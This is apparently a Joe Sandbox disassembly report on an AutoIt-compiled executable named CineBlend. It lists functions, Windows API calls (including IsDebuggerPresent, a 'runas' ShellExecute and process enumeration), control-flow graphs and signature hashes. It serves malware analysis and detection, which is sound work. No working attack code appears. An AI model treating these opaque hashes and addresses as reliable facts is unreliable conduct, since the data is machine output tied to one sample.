                                  • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                  • API String ID: 3290436268-3101561225
                                  • Opcode ID: 5e313c5777e9515f0195fa2a9c5c89a8bc6cee550c45a38700fcb3d270872604
                                  • Instruction ID: 81f72acc00076254741063b8f2c025caa0de454952a8dd1cfb64305ef755ea96
                                  • Opcode Fuzzy Hash: 5e313c5777e9515f0195fa2a9c5c89a8bc6cee550c45a38700fcb3d270872604
                                  • Instruction Fuzzy Hash: 78A1C63594A6C4DFCB26CB687C8979D7FDCAB26300F2A98D9D484A7232C67D4548CB31
                                  Function 00B3338B Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 148windowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00B33368,?), ref: 00B333BB
                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00B33368,?), ref: 00B333CE
                                  • GetFullPathNameW.KERNEL32(00007FFF,?,?,00C02418,00C02400,?,?,?,?,?,?,00B33368,?), ref: 00B3343A
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                    • Part of subcall function 00B3425F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00B33462,00C02418,?,?,?,?,?,?,?,00B33368,?), ref: 00B342A0
                                  • SetCurrentDirectoryW.KERNEL32(?,00000001,00C02418,?,?,?,?,?,?,?,00B33368,?), ref: 00B334BB
                                  • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00B73CB0
                                  • SetCurrentDirectoryW.KERNEL32(?,00C02418,?,?,?,?,?,?,?,00B33368,?), ref: 00B73CF1
                                  • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00BF31F4,00C02418,?,?,?,?,?,?,?,00B33368), ref: 00B73D7A
                                  • ShellExecuteW.SHELL32(00000000,?,?), ref: 00B73D81
                                    • Part of subcall function 00B334D3: GetSysColorBrush.USER32(0000000F), ref: 00B334DE
                                    • Part of subcall function 00B334D3: LoadCursorW.USER32(00000000,00007F00), ref: 00B334ED
                                    • Part of subcall function 00B334D3: LoadIconW.USER32(00000063), ref: 00B33503
                                    • Part of subcall function 00B334D3: LoadIconW.USER32(000000A4), ref: 00B33515
                                    • Part of subcall function 00B334D3: LoadIconW.USER32(000000A2), ref: 00B33527
                                    • Part of subcall function 00B334D3: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00B3353F
                                    • Part of subcall function 00B334D3: RegisterClassExW.USER32(?), ref: 00B33590
                                    • Part of subcall function 00B335B3: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B335E1
                                    • Part of subcall function 00B335B3: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B33602
                                    • Part of subcall function 00B335B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00B33368,?), ref: 00B33616
                                    • Part of subcall function 00B335B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00B33368,?), ref: 00B3361F
                                    • Part of subcall function 00B3396B: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B33A3C
                                  Strings
                                  • AutoIt, xrefs: 00B73CA5
                                  • It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00B73CAA
                                  • runas, xrefs: 00B73D75
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                  • String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
                                  • API String ID: 683915450-2030392706
                                  • Opcode ID: 1566763e482a209f3e61df137a5a586c95e37f6a3256b1ccfe40534662160f04
                                  • Instruction ID: e50ce4d154e4c3a84332b3ab66abe9c114c36a53363f2fe03e5357b566689d1e
                                  • Opcode Fuzzy Hash: 1566763e482a209f3e61df137a5a586c95e37f6a3256b1ccfe40534662160f04
                                  • Instruction Fuzzy Hash: DE510470208384AAC715EF60DC45E6FBBE8EF94B40F1044ADF596531A2DF348A49D722
                                  Function 00B9DD87 Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1638 b9dd87-b9ddcf CreateToolhelp32Snapshot Process32FirstW call b9e80e 1641 b9de7d-b9de80 1638->1641 1642 b9ddd4-b9dde3 Process32NextW 1641->1642 1643 b9de86-b9de95 CloseHandle 1641->1643 1642->1643 1644 b9dde9-b9de58 call b3bf73 * 2 call b3b329 call b3568e call b3bd98 call b37bb5 call b4e36b 1642->1644 1659 b9de5a-b9de5c 1644->1659 1660 b9de62-b9de69 1644->1660 1661 b9de6b-b9de78 call b3bd98 * 2 1659->1661 1662 b9de5e-b9de60 1659->1662 1660->1661 1661->1641 1662->1660 1662->1661
                                  APIs
                                  • CreateToolhelp32Snapshot.KERNEL32 ref: 00B9DDAC
                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00B9DDBA
                                  • Process32NextW.KERNEL32(00000000,?), ref: 00B9DDDA
                                  • CloseHandle.KERNELBASE(00000000), ref: 00B9DE87
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                  • String ID:
                                  • API String ID: 420147892-0
                                  • Opcode ID: 897368b50f4019afdaf9c869c441c856b76757383f3b05032c2f0a9ddc770637
                                  • Instruction ID: b2b705215039488a870c14fbe90a78ed6e13835fb169f7546dd3a9c1f6b95ed5
                                  • Opcode Fuzzy Hash: 897368b50f4019afdaf9c869c441c856b76757383f3b05032c2f0a9ddc770637
                                  • Instruction Fuzzy Hash: C93180711083019FD711EF60C885EAFBBE8EF99350F5409BDF581871A1EB71AA49CB92
                                  Function 00B55058 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentProcess.KERNEL32(00000003,?,00B5502E,00000003,00BF98D8,0000000C,00B55185,00000003,00000002,00000000,?,00B62C59,00000003), ref: 00B55079
                                  • TerminateProcess.KERNEL32(00000000,?,00B5502E,00000003,00BF98D8,0000000C,00B55185,00000003,00000002,00000000,?,00B62C59,00000003), ref: 00B55080
                                  • ExitProcess.KERNEL32 ref: 00B55092
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$CurrentExitTerminate
                                  • String ID:
                                  • API String ID: 1703294689-0
                                  • Opcode ID: f1635928c93089762a932085b3428af021d433b3463ea9d4a6fae4c83460e9a3
                                  • Instruction ID: e7fcdd0f93934c1cb35dce5431d60de489d2898c0ebbe739391e1fe6123914a4
                                  • Opcode Fuzzy Hash: f1635928c93089762a932085b3428af021d433b3463ea9d4a6fae4c83460e9a3
                                  • Instruction Fuzzy Hash: F0E04631000548AFCF216F50CD08E883BA9EB94382F0840A8FC099B1A1DB35DD42CAC0
                                  Function 00B3EE50 Relevance: 21.6, APIs: 14, Instructions: 612windowsleeptimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetInputState.USER32 ref: 00B3EF07
                                  • timeGetTime.WINMM ref: 00B3F107
                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B3F228
                                  • TranslateMessage.USER32(?), ref: 00B3F27B
                                  • DispatchMessageW.USER32(?), ref: 00B3F289
                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B3F29F
                                  • Sleep.KERNEL32(0000000A), ref: 00B3F2B1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
                                  • String ID:
                                  • API String ID: 2189390790-0
                                  • Opcode ID: 17df9c1cc5e8bced3851807e8de9be836e35bd30b2c8f57adf66993bb1a97043
                                  • Instruction ID: 26e4baaf05e251f51459f972bd176d5de94261c7f5c6e0fe642f5fbcc715ce5b
                                  • Opcode Fuzzy Hash: 17df9c1cc5e8bced3851807e8de9be836e35bd30b2c8f57adf66993bb1a97043
                                  • Instruction Fuzzy Hash: 3632E130A08642EFD728DF24C884BBAB7E5FF85704F2445AAF555972A1CB71E944CB82
                                  Function 00B33624 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • GetSysColorBrush.USER32(0000000F), ref: 00B33657
                                  • RegisterClassExW.USER32(00000030), ref: 00B33681
                                  • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B33692
                                  • InitCommonControlsEx.COMCTL32(?), ref: 00B336AF
                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B336BF
                                  • LoadIconW.USER32(000000A9), ref: 00B336D5
                                  • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B336E4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                  • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                  • API String ID: 2914291525-1005189915
                                  • Opcode ID: 47bd3374612e8a2b5705a6c7d58cd72847e36524a10f6d8d2242efda79849a17
                                  • Instruction ID: 3b2485aa426d1afb5edae7fff08b9b1625e87338d38360c44b4d5077902e573d
                                  • Opcode Fuzzy Hash: 47bd3374612e8a2b5705a6c7d58cd72847e36524a10f6d8d2242efda79849a17
                                  • Instruction Fuzzy Hash: D62190B9D05218AFDB00DFA8EC89B9DBBB4FB08710F11412AF615A72A0DBB54544CFA5
                                  Function 00B709DB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 366 b709db-b70a0b call b707af 369 b70a26-b70a32 call b65594 366->369 370 b70a0d-b70a18 call b5f636 366->370 375 b70a34-b70a49 call b5f636 call b5f649 369->375 376 b70a4b-b70a94 call b7071a 369->376 377 b70a1a-b70a21 call b5f649 370->377 375->377 385 b70a96-b70a9f 376->385 386 b70b01-b70b0a GetFileType 376->386 387 b70cfd-b70d03 377->387 391 b70ad6-b70afc GetLastError call b5f613 385->391 392 b70aa1-b70aa5 385->392 388 b70b53-b70b56 386->388 389 b70b0c-b70b3d GetLastError call b5f613 CloseHandle 386->389 395 b70b5f-b70b65 388->395 396 b70b58-b70b5d 388->396 389->377 403 b70b43-b70b4e call b5f649 389->403 391->377 392->391 397 b70aa7-b70ad4 call b7071a 392->397 400 b70b69-b70bb7 call b654dd 395->400 401 b70b67 395->401 396->400 397->386 397->391 408 b70bc7-b70beb call b704cd 400->408 409 b70bb9-b70bc5 call b7092b 400->409 401->400 403->377 416 b70bfe-b70c41 408->416 417 b70bed 408->417 409->408 415 b70bef-b70bf9 call b68a2e 409->415 415->387 419 b70c43-b70c47 416->419 420 b70c62-b70c70 416->420 417->415 419->420 422 b70c49-b70c5d 419->422 423 b70c76-b70c7a 420->423 424 b70cfb 420->424 422->420 423->424 425 b70c7c-b70caf CloseHandle call b7071a 423->425 424->387 428 b70ce3-b70cf7 425->428 429 b70cb1-b70cdd GetLastError call b5f613 call b656a6 425->429 428->424 429->428
                                  APIs
                                    • Part of subcall function 00B7071A: CreateFileW.KERNELBASE(00000000,00000000,?,00B70A84,?,?,00000000,?,00B70A84,00000000,0000000C), ref: 00B70737
                                  • GetLastError.KERNEL32 ref: 00B70AEF
                                  • __dosmaperr.LIBCMT ref: 00B70AF6
                                  • GetFileType.KERNELBASE(00000000), ref: 00B70B02
                                  • GetLastError.KERNEL32 ref: 00B70B0C
                                  • __dosmaperr.LIBCMT ref: 00B70B15
                                  • CloseHandle.KERNEL32(00000000), ref: 00B70B35
                                  • CloseHandle.KERNEL32(?), ref: 00B70C7F
                                  • GetLastError.KERNEL32 ref: 00B70CB1
                                  • __dosmaperr.LIBCMT ref: 00B70CB8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                  • String ID: H
                                  • API String ID: 4237864984-2852464175
                                  • Opcode ID: 655b551e3376d8a6bb5d05e6ae4e33baaa717a81641e93eff8ad93c181bc22c4
                                  • Instruction ID: 37d8cc6290f41e69eefb96b708a6bb962f479fe30f6034bb2bc0a8b87b06112e
                                  • Opcode Fuzzy Hash: 655b551e3376d8a6bb5d05e6ae4e33baaa717a81641e93eff8ad93c181bc22c4
                                  • Instruction Fuzzy Hash: E0A12532A201498FDF19AF78D892BAD7BE0EB06324F14419AF825DB3D1DB359D12CB51
                                  Function 00B352A7 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                    • Part of subcall function 00B35594: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00B74B76,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00B355B2
                                    • Part of subcall function 00B35238: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B3525A
                                  • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00B353C4
                                  • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00B74BFD
                                  • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00B74C3E
                                  • RegCloseKey.ADVAPI32(?), ref: 00B74C80
                                  • _wcslen.LIBCMT ref: 00B74CE7
                                  • _wcslen.LIBCMT ref: 00B74CF6
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                  • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                  • API String ID: 98802146-2727554177
                                  • Opcode ID: 24c01caa053b7ac6e975c9db20bc63f63a2a764a7576f5b055880e8e113b82d8
                                  • Instruction ID: 16eaf75ff79f3f50288be64b317b8ba693f3ce1d05ed243457ec651e035a5669
                                  • Opcode Fuzzy Hash: 24c01caa053b7ac6e975c9db20bc63f63a2a764a7576f5b055880e8e113b82d8
                                  • Instruction Fuzzy Hash: 53718A71104341AEC704EF69EC81A9EBBECFF98340F9144AEF545871B0EB719A49CB92
                                  Function 00B334D3 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • GetSysColorBrush.USER32(0000000F), ref: 00B334DE
                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00B334ED
                                  • LoadIconW.USER32(00000063), ref: 00B33503
                                  • LoadIconW.USER32(000000A4), ref: 00B33515
                                  • LoadIconW.USER32(000000A2), ref: 00B33527
                                  • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00B3353F
                                  • RegisterClassExW.USER32(?), ref: 00B33590
                                    • Part of subcall function 00B33624: GetSysColorBrush.USER32(0000000F), ref: 00B33657
                                    • Part of subcall function 00B33624: RegisterClassExW.USER32(00000030), ref: 00B33681
                                    • Part of subcall function 00B33624: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B33692
                                    • Part of subcall function 00B33624: InitCommonControlsEx.COMCTL32(?), ref: 00B336AF
                                    • Part of subcall function 00B33624: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B336BF
                                    • Part of subcall function 00B33624: LoadIconW.USER32(000000A9), ref: 00B336D5
                                    • Part of subcall function 00B33624: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B336E4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                  • String ID: #$0$AutoIt v3
                                  • API String ID: 423443420-4155596026
                                  • Opcode ID: 91a041a328c2950f8c1fdeaed836ac3ff5bf99a9ea8c6390730fa863e8c77038
                                  • Instruction ID: 90c0165a660113ab34a438822110a7522409c092173d3b8e64a27377d99c5964
                                  • Opcode Fuzzy Hash: 91a041a328c2950f8c1fdeaed836ac3ff5bf99a9ea8c6390730fa863e8c77038
                                  • Instruction Fuzzy Hash: 01210975D00318ABDB109FA5EC59BAEBFF8FB08B50F01402AE604A72B0D7B94945CF90
                                  Function 00B3370F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145windowtimeregistryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 507 b3370f-b33724 508 b33726-b33729 507->508 509 b33784-b33786 507->509 511 b3372b-b33732 508->511 512 b3378a 508->512 509->508 510 b33788 509->510 513 b3376f-b33777 DefWindowProcW 510->513 516 b33804-b3380c PostQuitMessage 511->516 517 b33738-b3373d 511->517 514 b73df4-b73e1c call b32f92 call b4f23c 512->514 515 b33790-b33795 512->515 518 b3377d-b33783 513->518 553 b73e21-b73e28 514->553 520 b33797-b3379a 515->520 521 b337bc-b337e3 SetTimer RegisterWindowMessageW 515->521 519 b337b8-b337ba 516->519 522 b33743-b33747 517->522 523 b73e61-b73e75 call b9c8f7 517->523 519->518 525 b73d95-b73d98 520->525 526 b337a0-b337b3 KillTimer call b33907 call b359ff 520->526 521->519 527 b337e5-b337f0 CreatePopupMenu 521->527 528 b3380e-b3381d call b4fcad 522->528 529 b3374d-b33752 522->529 523->519 548 b73e7b 523->548 533 b73dd0-b73def MoveWindow 525->533 534 b73d9a-b73d9e 525->534 526->519 527->519 528->519 536 b73e46-b73e4d 529->536 537 b33758-b3375d 529->537 533->519 542 b73da0-b73da3 534->542 543 b73dbf-b73dcb SetFocus 534->543 536->513 545 b73e53-b73e5c call b91423 536->545 546 b33763-b33769 537->546 547 b337f2-b33802 call b3381f 537->547 542->546 549 b73da9-b73dba call b32f92 542->549 543->519 545->513 546->513 546->553 547->519 548->513 549->519 553->513 554 b73e2e-b73e41 call b33907 call b3396b 553->554 554->513
                                  APIs
                                  • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00B33709,?,?), ref: 00B33777
                                  • KillTimer.USER32(?,00000001,?,?,?,?,?,00B33709,?,?), ref: 00B337A3
                                  • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B337C6
                                  • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00B33709,?,?), ref: 00B337D1
                                  • CreatePopupMenu.USER32 ref: 00B337E5
                                  • PostQuitMessage.USER32(00000000), ref: 00B33806
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                  • String ID: TaskbarCreated
                                  • API String ID: 129472671-2362178303
                                  • Opcode ID: 45d908def57bfb31986395076afb093fa07aba33b163bb8952e9c0539c16215e
                                  • Instruction ID: da3115378e3516248c8e877ba0441b905fcc22ec18aebd4af36e796316f70b9d
                                  • Opcode Fuzzy Hash: 45d908def57bfb31986395076afb093fa07aba33b163bb8952e9c0539c16215e
                                  • Instruction Fuzzy Hash: B341D1F5204245FADB242B688C9DF7F3AE9EB04B11F2042A9F506861A1CE789F45D761
                                  Function 00B32AB0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 563 b32ab0-b32ae9 564 b32aef-b32b05 mciSendStringW 563->564 565 b73a1a-b73a1b DestroyWindow 563->565 566 b32d66-b32d73 564->566 567 b32b0b-b32b13 564->567 568 b73a26-b73a33 565->568 570 b32d75-b32d90 UnregisterHotKey 566->570 571 b32d98-b32d9f 566->571 567->568 569 b32b19-b32b28 call b32ede 567->569 575 b73a35-b73a38 568->575 576 b73a62-b73a69 568->576 583 b73a70-b73a7c 569->583 584 b32b2e-b32b36 569->584 570->571 573 b32d92-b32d93 call b32770 570->573 571->567 574 b32da5 571->574 573->571 574->566 580 b73a44-b73a47 FindClose 575->580 581 b73a3a-b73a42 call b37aab 575->581 576->568 579 b73a6b 576->579 579->583 585 b73a4d-b73a5a 580->585 581->585 590 b73a86-b73a8d 583->590 591 b73a7e-b73a80 FreeLibrary 583->591 587 b73a94-b73aa1 584->587 588 b32b3c-b32b61 call b3e6a0 584->588 585->576 589 b73a5c-b73a5d call ba3cf6 585->589 595 b73aa3-b73ac0 VirtualFree 587->595 596 b73ac8-b73acf 587->596 601 b32b63 588->601 602 b32b98-b32ba3 CoUninitialize 588->602 589->576 590->583 594 b73a8f 590->594 591->590 594->587 595->596 597 b73ac2-b73ac3 call ba3d5c 595->597 596->587 598 b73ad1 596->598 597->596 603 b73ad6-b73ada 598->603 604 b32b66-b32b96 call b330c0 call b33069 601->604 602->603 605 b32ba9-b32bae 602->605 603->605 606 b73ae0-b73ae4 call ba0b4c 603->606 604->602 608 b32bb4-b32bbe 605->608 609 b73aeb-b73af8 call ba3d30 605->609 616 b73ae6 606->616 610 b32da7-b32db4 call b4fb19 608->610 611 b32bc4-b32c45 call b3bd98 call b32ff4 call b32e85 call b50184 call b32e1c call b3bd98 call b3e6a0 call b32eae call b50184 608->611 622 b73afa 609->622 610->611 624 b32dba 610->624 626 b73aff-b73b21 call b5013d 611->626 652 b32c4b-b32c6f call b50184 611->652 616->605 622->626 624->610 631 b73b23 626->631 634 b73b28-b73b4a call b5013d 631->634 640 b73b4c 634->640 643 b73b51-b73b73 call b5013d 640->643 650 b73b75 643->650 653 b73b7a-b73b87 call b96e3b 650->653 652->634 659 b32c75-b32c99 call b50184 652->659 658 b73b89 653->658 661 b73b8e-b73b9b call b4bdf0 658->661 659->643 664 b32c9f-b32cb9 call b50184 659->664 667 b73b9d 661->667 664->653 669 b32cbf-b32ce3 call b32e85 call b50184 664->669 670 b73ba2-b73baf call ba3c8a 667->670 669->661 678 b32ce9-b32cf1 669->678 677 b73bb1 670->677 680 b73bb6-b73bc3 call ba3d11 677->680 678->670 679 b32cf7-b32d15 call b3bd98 call b32fba 678->679 679->680 689 b32d1b-b32d29 679->689 686 b73bc5 680->686 688 b73bca-b73bd7 call ba3d11 686->688 694 b73bd9 688->694 689->688 691 b32d2f-b32d65 call b3bd98 * 3 call b32f26 689->691 694->694
                                  APIs
                                  • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00B32AF9
                                  • CoUninitialize.COMBASE ref: 00B32B98
